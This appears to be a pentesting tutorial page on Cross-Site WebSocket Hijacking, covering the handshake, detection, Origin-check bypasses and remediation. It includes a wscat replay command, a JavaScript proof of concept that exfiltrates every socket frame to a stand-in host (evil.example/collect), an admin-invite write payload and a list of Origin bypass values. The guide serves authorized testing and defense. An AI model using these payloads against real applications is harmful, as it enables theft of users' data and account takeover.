Cross-Site WebSocket Hijacking (CSWSH): Exploitation, Origin Checks, and Defenses
Cross-site WebSocket hijacking (CSWSH) is one of the most under-tested vulnerabilities in modern web applications, and it is almost entirely a consequence of one architectural fact: the Same-Origin Policy that governs fetch and XMLHttpRequest does not apply to the WebSocket handshake. A WebSocket connection is opened with an HTTP GET request that the browser is happy to send cross-origin, with cookies attached, and without any preflight. If the server authenticates that handshake using ambient credentials alone — a session cookie — then any web page the victim visits can open an authenticated socket to your application and speak to it as the victim.
This guide is written for pentesters and red teamers operating under authorization. It covers exactly how the handshake works, why the browser hands an attacker so much rope, how to build a working proof of concept for both read and write primitives, the Origin-validation mistakes that turn a "secure" endpoint into a vulnerable one, and the defenses that actually close the hole. Everything below assumes you are testing systems you own or are explicitly permitted to test.
How the WebSocket Handshake Actually Works
A WebSocket connection begins life as an ordinary HTTP/1.1 request with an Upgrade header. The browser sends it; if the server agrees, it responds 101 Switching Protocols and the TCP connection is repurposed for the bidirectional WebSocket framing protocol. A typical client-initiated handshake looks like this:
GET /ws/notifications HTTP/1.1
Host: app.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Origin: https://app.example.com
Cookie: session=eyJ0eXAiOiJKV1Qi...
Two details matter for CSWSH. First, the Cookie header is attached automatically by the browser, exactly as it would be for any same-site request — the browser does not know or care that the destination script lives on a different origin. Second, the Origin header is set by the browser to the origin of the page that opened the socket and cannot be forged from JavaScript. That makes Origin the single most important signal the server has for distinguishing a legitimate first-party connection from a hijacked cross-origin one. If the server ignores it, the attacker wins.
Why the Same-Origin Policy Does Not Save You
Developers often assume that because a browser blocks reading cross-origin fetch responses, WebSockets must be similarly protected. They are not. The WebSocket constructor is intentionally allowed to connect to any origin — this is by design, so that a page on app.example.com can talk to ws.example.com or a third-party realtime provider. There is no preflight, no Access-Control-Allow-Origin negotiation, and critically, once the socket is open the attacker's page has full read and write access to the message stream. Unlike a CSRF write where the attacker is blind to the response, CSWSH frequently yields a two-way channel: the attacker can both send commands and read every frame the server pushes back.
The mental model to carry into a test: CSWSH is CSRF with a feedback channel. If you have tested classic cross-site request forgery, the threat model is familiar — the difference is that data exfiltration is built in. The same cookie-as-sole-credential mistake that enables CSRF enables CSWSH, which is why the CSRF payload generator is a useful companion when you are reasoning about which endpoints rely on ambient authentication.
Detecting a Vulnerable Endpoint
The detection workflow is mechanical. Capture the upgrade request in your proxy, then replay it with a hostile Origin and observe whether the server still completes the handshake.
- Browse the application normally and capture the WebSocket upgrade in Burp's WebSockets history or your proxy of choice.
- Send the upgrade request to Repeater and change
Originto an attacker-controlled value such ashttps://evil.example. - Keep the victim's session
Cookieintact — you are simulating the victim's browser making the request from the attacker's page. - If the server responds
101 Switching Protocolsand the post-upgrade session is authenticated, the Origin is not validated and CSWSH is in play.
You can reproduce the same test from the command line, which is useful for scripting and for confirming behaviour outside a GUI:
wscat -c wss://app.example.com/ws/notifications \
-H "Origin: https://evil.example" \
-H "Cookie: session=eyJ0eXAiOiJKV1Qi..."
# If it connects and you receive authenticated data, the
# server trusted ambient cookies without checking Origin.
Building the Proof of Concept
A working PoC must run from an origin the server does not trust, which is the whole point — the victim is logged into the target, then visits your page. The page opens a socket, drives whatever protocol the application speaks, and exfiltrates the responses. The read primitive is usually the most impactful and the easiest to demonstrate:
<!-- hosted on https://evil.example/poc.html -->
<script>
// No credentials are passed explicitly; the browser attaches
// the victim's app.example.com cookies automatically.
const ws = new WebSocket('wss://app.example.com/ws/notifications');
ws.onopen = () => {
// Drive the app's protocol to pull sensitive state.
ws.send(JSON.stringify({ action: 'history', limit: 100 }));
};
ws.onmessage = (e) => {
// Exfiltrate every frame to the attacker's collector.
navigator.sendBeacon(
'https://evil.example/collect',
e.data
);
};
</script>
For a write primitive — performing a state-changing action as the victim — you simply send the message that triggers the action. If the chat or notification socket also accepts commands like {"action":"invite","email":"[email protected]","role":"admin"}, the impact escalates from disclosure to account takeover or privilege escalation. When you report this, demonstrate both directions: read (exfiltrate the victim's data) and write (mutate state). The two together make the severity unambiguous.
Notes on token-bearing protocols
Some applications send a CSRF token or bearer token in the first WebSocket message rather than the handshake. If the attacker's page does not know that token, the write primitive may be blocked even when the handshake succeeds — but the read primitive often still works, because the server starts streaming as soon as the authenticated socket opens. Always test what the server volunteers before any client message is sent.
Origin Validation Done Wrong
The most common partial defense is an Origin check implemented with naive string operations. Each of these patterns is bypassable, and recognising them quickly is what separates a thorough test from a missed finding:
# Server: origin.startsWith("https://app.example.com")
# Bypass — attacker registers a subdomain prefix:
Origin: https://app.example.com.evil.example
# Server: origin.endsWith("example.com")
# Bypass — attacker registers a suffix-matching domain:
Origin: https://evilexample.com
Origin: https://app.example.com.attacker-example.com
# Server: origin.includes("example.com")
# Bypass — the substring appears anywhere:
Origin: https://example.com.evil.example/path
# Server allows the null origin (sandboxed iframe / data: URI):
Origin: null
# Server comparison is case-sensitive but browser-normalised:
Origin: https://APP.example.com # rarely useful, but test it
The null origin case deserves special attention. A page loaded inside a sandboxed iframe (<iframe sandbox="allow-scripts">) or from certain redirect chains sends Origin: null. If the allowlist contains null — sometimes added carelessly to support local development or file-protocol testing — an attacker can host the PoC inside such an iframe and slip past the check entirely. Reflected-Origin handling is another trap: a server that echoes the request's Origin into an allow decision (the WebSocket analogue of a reflected Access-Control-Allow-Origin: *) is effectively performing no validation at all.
Token Handling and Connection Lifecycle
WebSockets are long-lived, and that lifecycle creates its own class of bugs. A few things to probe specifically:
- Authentication only at upgrade time. If the server validates the session during the handshake but never revalidates, a socket opened before logout may keep working after the victim logs out or their session is revoked. Test whether killing the session server-side actually tears down active sockets.
- Tokens in the URL. Endpoints like
wss://app.example.com/ws?token=eyJ...leak the credential into proxy logs, browser history, andRefererheaders. While query-string tokens resist pure-cookie CSWSH (the attacker does not know the token), they introduce disclosure risks of their own — flag both. - Per-message authorization. Even with a sound Origin check, individual messages may be missing object-level authorization. Changing an ID inside a frame (
{"action":"read","conversation_id":4071}) is IDOR over WebSocket and should be tested independently of CSWSH.
Remediation and Defenses
Closing CSWSH is straightforward once the root cause — trusting ambient cookies during the handshake — is understood. Apply these in layers; the first two are mandatory, the rest are defense in depth.
- Strictly validate the Origin header against an allowlist. Compare the full
Originvalue against an exact set of trusted origins using equality, neverstartsWith,endsWith, orincludes. Reject anything not on the list, and explicitly rejectnullunless you have a deliberate, audited reason to permit it. - Require an unpredictable, per-session CSRF token in the handshake. Pass a token the first-party page knows (from a same-origin endpoint) as a handshake parameter or first message, and validate it server-side. Because an attacker's cross-origin page cannot read this token, it defeats the hijack even if the Origin check is somehow bypassed.
- Prefer the
__Host-cookie prefix andSameSiteattributes for the session cookie. ASameSite=LaxorStrictcookie is not sent on most cross-site contexts, which blunts the cookie-as-credential attack — though it should be treated as hardening, not a sole control, given navigation-based edge cases. - Re-authenticate the socket on sensitive actions and bind it to session lifecycle. Terminate active sockets on logout, password change, or session revocation, and require fresh authorization for privileged operations rather than trusting the connection indefinitely.
- Use
wss://exclusively so handshakes and frames are encrypted, preventing token capture on the wire.
When verifying a fix, confirm that a cross-origin handshake receives a non-101 response, that the supplied CSRF token is actually checked (not merely present), and that a revoked session cannot continue to drive an already-open socket. For broader credential and session testing around these endpoints, the broken authentication testing guide pairs well with this work, and the WebSocket cheatsheet collects the handshake and tooling syntax you will reach for during a live assessment.
CSWSH persists because WebSockets feel like an HTTP feature but follow different rules. Once you internalise that the handshake is a credentialed, cross-origin-permitted, preflight-free GET, the testing methodology becomes obvious: capture, replay with a hostile Origin, and prove the two-way channel. Done under proper authorization, it is one of the highest-impact findings you can deliver on a realtime application.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides